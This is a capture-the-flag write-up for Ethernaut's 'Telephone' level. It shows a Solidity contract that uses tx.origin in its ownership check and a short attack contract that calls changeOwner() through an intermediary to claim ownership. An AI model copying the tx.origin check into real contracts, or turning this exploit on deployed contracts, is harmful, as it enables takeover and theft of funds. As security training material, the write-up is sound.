Ethernaut Level 4: Telephone
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
Requirements
- Claim ownership of the contract.
Concepts
Hack
We simply have to exploit the difference between msg.sender
and tx.origin
. This can be achieved by using an intermediary smart contract that interfaces with Telephone
and calls the changeOwner()
function.
Solution
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface TelephoneContract{
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
function attack(address _telephoneAddress) public {
TelephoneContract(_telephoneAddress).changeOwner(msg.sender);
}
}
When we call the attack()
function, this calls the changeOwner()
function. From the perspective of the Telephone
contract, the tx.origin
is our address and the msg.sender
is the TelephoneAttack
address.
We can now check that we have ownership of the contract.
await contract.owner()
Done!